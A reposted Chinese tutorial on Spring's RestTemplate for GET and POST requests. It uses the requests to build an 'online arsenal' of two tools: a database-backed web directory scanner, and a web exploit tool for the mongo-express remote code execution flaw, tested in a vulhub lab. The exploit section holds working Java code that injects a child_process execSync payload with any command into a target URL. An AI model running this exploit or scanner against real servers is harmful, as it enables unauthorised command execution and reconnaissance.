返回顶部
首页 > 资讯 > 后端开发 > Python >java分布式基于RestTemplate的使用方法
  • 771
分享到

java分布式基于RestTemplate的使用方法

2024-04-02 19:04:59 771人浏览 泡泡鱼

Python 官方文档:入门教程 => 点击学习

摘要

目录1.前言2.RestTemplate get请求及传参2.1正常get请求不带参2.2 get请求带参使用2.3 编写在线目录扫描脚本3.RestTemplate post请求3

1.前言

最近在接触到分布式方面知识的时候,学习了RestTemplate的一些使用。RestTemplate比较常见的就是用来进行一些Http请求。本人在使用之后,在语法简洁的同时,感觉非常的方便。

于是乎在后面就想到了,通过RestTemplate来做成在线的"武器库",会不会更方便呢。因为SpringBoot开发本来就比较简单,而且在后期进行一些团队协作的时候,用在线的平台是不是相对于团队更方便?避免了因为环境不一致而造成的问题。

2.RestTemplate get请求及传参

2.1正常get请求不带参

首先来用一下正常不带参的请求,既然要使用RestTemplate,那么肯定首先要new出来。之后使用rest.exchange进行请求。

exchange参数说明如下:

类型说明
url请求路径
method请求的方法(GET、POST、PUT等)
requestEntityHttpEntity对象,封装了请求头和请求体
responseType返回数据类型
uriVariables支持PathVariable类型的数据。

参数1,2不做过多讲解,参数3的话,在初始化HttpEntity的时候,就可以传入一个自定义的headers。

所以提前通过HttpHeaders headers = new HttpHeaders();

进行设置headers并传入即可。

@RequestMapping("gettest")
public @ResponseBody String param(){
RestTemplate rest = new RestTemplate();
HttpHeaders headers = new HttpHeaders();
headers.set("user-agent","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWEBKit/537.36 (Khtml, like Gecko) Chrome/83.0.4103.97 Safari/537.36");

String url = "http://127.0.0.1/t.PHP";
ResponseEntity<String> res = rest.exchange(url, HttpMethod.GET,new HttpEntity<>       (null,headers),String.class);

String body = res.getBody();
return body;
}

在上方的代码中,请求的是一个php文件,而该php文件非常简单,只是打印出user_agent。

image.png

在打印出user_agent之后,ResponseEntity res这儿就接收到了回显信息,最后在通过res.getBody();成功获取到页面的回显数据

2.2 get请求带参使用

了解完上面的无参get请求之后,接下来了解一下如何传参?

是不是感觉有点枯燥了?为此加了点CTF元素。代码如下,只有当用户传参符合第四行的if判断,才会进行输出正确的flag

image.png

传参方式:

这种也是最为常见的一种,就是使用参数接收,是不是感觉和上方无参get方式的代码非常相似?下方形参agent和value就是在网页中的参数名(PS:学过springboot的小伙伴应该都知道)。之后将agent设置到headers里面,而value进行了拼接到**t.php?value= **后面进行当做参数值传入

public @ResponseBody String param(**String agent,String value**){
        RestTemplate rest = new RestTemplate();
        HttpHeaders headers = new HttpHeaders();
        headers.set("user-agent",**agent**);
        String url = "http://127.0.0.1/t.php?value="+**value**;
        ResponseEntity<String> res = rest.exchange(url, HttpMethod.GET,new HttpEntity<>(null,headers),String.class);
        String body = res.getBody();
        return body;
    }

最后进行测试一下,成功进行传参获取到了“flag”

image.png

2.3 编写在线目录扫描脚本

既然玩转了get请求之后,那就来做一个目录扫描的小功能吧。毕竟学以致用。

整体实现流程如下,采用springboot,并整合mybatis。这里没有写Service层,因为毕竟都是初步实现而已。

而最为显著的一个优点就是:站点目录都会存入到数据库中,这就在后期发展中避免了字典少,不够用的问题。因为团队成员都可以将自己的字典存入到该数据库中。

image.png

首先准备好数据库和一些"字典",测试阶段,本人自己就手动添加了几个。后续如果字典庞大,可自己写个小脚本导入到数据库即可。

image.png

数据库准备好之后,就可以进行整合mybatis了。这里pom文件需要加载mybatis和Mysql的依赖。

目录结构如下:一个Controller,一个mapper和xml配置文件,以及一个用来存储的类

image.png

application主配置文件,主要用来写一些数据库配置

server.port=8081
spring.datasource.username=root
spring.datasource.passWord=root
spring.datasource.url=jdbc:mysql://localhost:3306/tance?useSSL=false&useUnicode=true&characterEncoding=utf-8
mybatis.mapper-locations=classpath:Mapper/*.xml

Mapper代码如下,记得要加上@Mapper注解

@Mapper
public interface MuluMapper {
    List<catalogue> selectAll();
}

Mapper.xml配置,用来查询数据库中的 “字典”

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE mapper
        PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
        "http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="com.example.restclien.Dao.MuluMapper">
<select id="selectAll" resultType="com.example.restclien.Dao.catalogue">
        select * from catalogue
    </select>
</mapper>

既然配置好之后,那就开始实现重要功能点了!代码简单讲解一下:首先通过@Autowired把mapper自动注入。

之后 List<catalogue> list = muluMapper.selectAll();

会到mapper.xml中执行select查询语句,并将其保存到List集合中。最后到for循环中进行循环遍历过程中,将url与获取的数据库中的name字段内容拼接保存到temp这个临时变量。

举个例子:

用户输入url为http://127.0.0.1

name字段第一个内容为:admin

那么最终 temp=http://127.0.0.1/admin

拼接完成之后,通过exchange访问,最终res.getStatusCodeValue()获取响应码,为200的话,就判定该文件存在。(PS:这里判断的比较潦草,比如403等情况没有进行判断)

@RestController
public class MapperController {
    @Autowired
    MuluMapper muluMapper;
    @RequestMapping("/tance")
    public String tance(String url) {
        RestTemplate rest = new RestTemplate();
        HttpHeaders headers = new HttpHeaders();
        List<String> lists = new ArrayList<>();
        headers.set("user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36");
        List<catalogue> list = muluMapper.selectAll();
        if(!url.endsWith("/")){
            url+="/";
        }

        for (catalogue tance : list) {
            String temp = url+tance.getName();
            try{
                ResponseEntity<String> res = rest.exchange(temp, HttpMethod.GET,new HttpEntity<>(null,headers),String.class);
                lists.add("目录存在:"+temp+" 响应状态码为:"+res.getStatusCodeValue());
            }catch(Exception e){
                e.printStackTrace();
            }

        }
        return lists.toString();
    }
}

看一下最终成品吧,成功实现一款简易的在线web目录扫描

image.png

image.png

3.RestTemplate post请求

3.1 post请求玩法

有了上面的思路之后,post也类似。那么为了防止大家感觉枯燥,继续来玩这道"CTF"

php的代码没有太大变动,只是请求换成了post

image.png

RestTemplate代码如下:传参将agent设置到headers里面,而value添加到了LinkedMultiValueMap中,可以理解为这个LinkedMultiValueMap就是用来存储post要提交的数据,而最后这个稍作不同的是,用的restTemplate.postForEntity()进行post提交数据即可,与get是非常类似的。

@RequestMapping("/Post01")
    public @ResponseBody
    String Post01(String agent,String value){
        RestTemplate restTemplate = new RestTemplate();
        HttpHeaders headers = new HttpHeaders();
        headers.set("user-agent",agent);
        String url = "http://127.0.0.1/t.php";
        LinkedMultiValueMap params = new LinkedMultiValueMap();
        params.add("value",value);
        ResponseEntity<String> str = restTemplate.postForEntity(url,new HttpEntity<>(params,headers),String.class);
        return str.getBody();
    }

最后传参即可,dong的一下,“flag”也就出现了

3.2 mongo-express 远程代码执行漏洞脚本编写

靶场安装直接去vulhub下载即可。安装过程很简单,启动之后

image.png

漏洞利用过程更为简单execSync中输入要执行的命令即可。返回Valid表示执行成功了。

image.png

之后前往Docker查看即可,发现成功创建1.txt

image.png

接下来编写利用脚本

先准备一个比较丑的前端页面,存到static目录中,这是Springboot默认存放静态资源的地方。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>mongo-express 远程代码执行漏洞</title>
</head>
<body>
<fORM action="/exec" method="post">
    请输入漏洞URL:<input type="text" name="url"/><br/>
    请输入要执行的命令:<input type="text" name="command"/>
    <input type="submit" value="提交">
</form>
</body>
</html>

Controller编写思路,首先可以看到action提交到了exec,所以RequestMapping写成exec即可,参数的话,一个url用来接收url地址的,一个command用来接收命令。

image.png

完整Controller如下,笔者带你进一步分析:在paramMap.add语句中,可以看到对输入进来command进行了拼接,假设笔者这里输入的为“ls”,从而构成了如下数据

document=this.constructor.constructor(“return process”)().mainModule.require(“child_process”).execSync(“ls”)

最后使用的exchange方法进行的POST提交,提交的URL为笔者传入的,而command传入并拼接进去之后,数据最终存到了httpEntity中,,而这里的参数就不做过多讲解,因为有了前面的基础,应该都能一看懂什么意思。

@RequestMapping("/exec")
    public @ResponseBody String Post01(String url,String command){
        RestTemplate restTemplate = new RestTemplate();
        HttpHeaders headers = new HttpHeaders();
        headers.set("user-agent", "Mozilla/5.0 (compatible; MSIE 9.0; windows NT 6.1; Win64; x64; Trident/5.0)");
        MultiValueMap<String, String> paramMap = new LinkedMultiValueMap<String, String>();
        paramMap.add("document", "this.constructor.constructor(\"return process\")().mainModule.require(\"child_process\").execSync("+"\""+command+"\""+")");
        HttpEntity<MultiValueMap<String, String>> httpEntity = new HttpEntity<MultiValueMap<String, String>>(paramMap,headers);
        ResponseEntity<String> response = null;
        try {
            response = restTemplate.exchange(url,HttpMethod.POST,httpEntity, String.class);
        }catch(NullPointerException e){
            e.printStackTrace();
        }
        return response.getBody();
    }

最终测试过程,编写脚本利用成功

image.png

image.png

image.png

4.结尾

在进行内部团队协作的时候,后期效率确实是可以提升,同时也提升了自己的代码水平~。

以上就是基于RestTemplate的在线武器库的详细内容,更多关于RestTemplate的在线武器库的资料请关注编程网其它相关文章!

--结束END--

本文标题: java分布式基于RestTemplate的使用方法

本文链接: https://lsjlt.com/news/139762.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • java分布式基于RestTemplate的使用方法
    目录1.前言2.RestTemplate get请求及传参2.1正常get请求不带参2.2 get请求带参使用2.3 编写在线目录扫描脚本3.RestTemplate post请求3...
    99+
    2024-04-02
  • java分布式基于RestTemplate怎么用
    这篇文章主要介绍了java分布式基于RestTemplate怎么用,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。1.前言最近在接触到分布式方面知识的时候,学习了RestTem...
    99+
    2023-06-29
  • 基于RestTemplate的使用方法(详解)
    1.postForObject :传入一个业务对象,返回是一个String调用方:BaseUser baseUser=new BaseUser();baseUser.setUserid(userid);baseUser.setPass(pa...
    99+
    2023-05-31
    resttemplate emp
  • 基于java的分布式爬虫
    【本文转自博客园  作者:张锋  原文链接:https://www.cnblogs.com/skyme/p/4440831.html】分类分布式网络爬虫包含多个爬虫,每个爬虫需要完成的任务和单个的爬行器类似,它们从互联网...
    99+
    2023-06-05
  • 基于Redis实现分布式应用限流的方法
    限流的目的是通过对并发访问/请求进行限速或者一个时间窗口内的的请求进行限速来保护系统,一旦达到限制速率则可以拒绝服务。前几天在DD的公众号,看了一篇关于使用 瓜娃 实现单应用限流的方案 --》原文,参考《redis in action》 实...
    99+
    2023-05-30
    redis 限流 流的
  • Java 基于雪花算法生成分布式id
    目录SnowFlake算法原理介绍 算法实现 SnowFlake算法原理介绍 在分布式系统中会将一个业务的系统部署到多台服务器上,用户随机访问其中一台,而之所以引入分布式系统就是为...
    99+
    2024-04-02
  • Java基于Redis实现分布式锁
    分布式锁可以基于很多种方式实现,比如zookeeper、redis...。不管哪种方式,他的基本原理是不变的:用一个状态值表示锁,对锁的占用和释放通过状态值来标识。一、为什么Redis可以方便地实现分布式锁Redis为单进程单线程模式,采用...
    99+
    2015-09-14
    java教程 Java
  • 基于Redis的分布式锁的简单实现方法
    Redis官方给出两种思路 第一种:SET key value [EX seconds] [PX milliseconds] NX 第二种:SETNX+GETSET 首先,分别看一下这几个命令 SET命令 ...
    99+
    2024-04-02
  • 基于Redis分布式BitMap的应用分析
    目录一、序言二、BitMap结构1、内存消耗分析2、命令行操作BitMap3、客户端操作BitMap4、时间与空间复杂度三、BitMap应用1、回避缓存穿透2、与布隆过滤器的区别四、...
    99+
    2024-04-02
  • 怎么用RMI实现基于Java的分布式计算
    这篇文章将为大家详细讲解有关怎么用RMI实现基于Java的分布式计算,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。Java 2 Enterprise Edition(J2EE)远程方法调用(Remote ...
    99+
    2023-06-03
  • 基于Redis实现分布式锁的方法(lua脚本版)
    1、前言 在Java中,我们通过锁来避免由于竞争而造成的数据不一致问题。通常我们使用synchronized 、Lock来实现。但是Java中的锁只能保证在同一个JVM进程内中可用...
    99+
    2024-04-02
  • java使用RestTemplate封装post请求方式
    目录使用RestTemplate封装post请求RestTemplate使用封装1、SpringBoot使用RestTemplate(使用apache的httpclient)2、使用...
    99+
    2024-04-02
  • 基于Redission的分布式锁实战
    目录一、为什么需要分布式锁二、Redission的实战使用2.1 Redission执行流程2.2 Watch Dog 机制2.3 对比setnx三、代码案例一、为什么需要分布式锁 在系统中,当存在多个进程和线程可以改变...
    99+
    2022-08-14
    Redission分布式锁
  • Go 语言下基于Redis分布式锁的实现方式
    分布式锁一般有三种实现方式:1. 数据库乐观锁;2. 基于Redis的分布式锁;3. 基于ZooKeeper的分布式锁。本篇博客将介绍第二种方式,基于Redis实现分布式锁。虽然网上...
    99+
    2024-04-02
  • java基于mongodb实现分布式锁的示例代码
    目录原理 实现 使用  原理 通过线程安全findAndModify 实现锁 实现 定义锁存储对象: @Data @NoArgsConstruc...
    99+
    2024-04-02
  • 如何理解分布式系统下基于Redis的分布式锁
    这篇文章主要介绍“如何理解分布式系统下基于Redis的分布式锁”,在日常操作中,相信很多人在如何理解分布式系统下基于Redis的分布式锁问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大...
    99+
    2024-04-02
  • Java Http请求方式之RestTemplate常用方法详解
    目录引言常见用法简单Get\Post请求Post提交常规表单Post上传文件配置项请求添加Cookie\Header配置请求工厂 超时、代理配置拦截器、转换器,错误处理错误重试(额外...
    99+
    2024-04-02
  • 基于JVM-jinfo的使用方式
    目录jinfo是什么,可以干什么?JVM Troubleshooting命令-jinfo概述命令格式功能选项jinfo是什么,可以干什么? jinfo全称Configuration ...
    99+
    2024-04-02
  • 基于PostgreSQL/openGauss 的分布式数据库解决方案
    在 MySQL ShardingSphere-Proxy 逐渐成熟并被广泛采用的同时,ShardingSphere 团队也在 PostgreSQL ShardingSphere-Pr...
    99+
    2024-04-02
  • Java分布式锁的使用方案有哪些
    这篇文章主要讲解了“Java分布式锁的使用方案有哪些”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“Java分布式锁的使用方案有哪些”吧!前言随着互联网技术的不断发展,数据量的不断增加,业务逻...
    99+
    2023-06-04
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作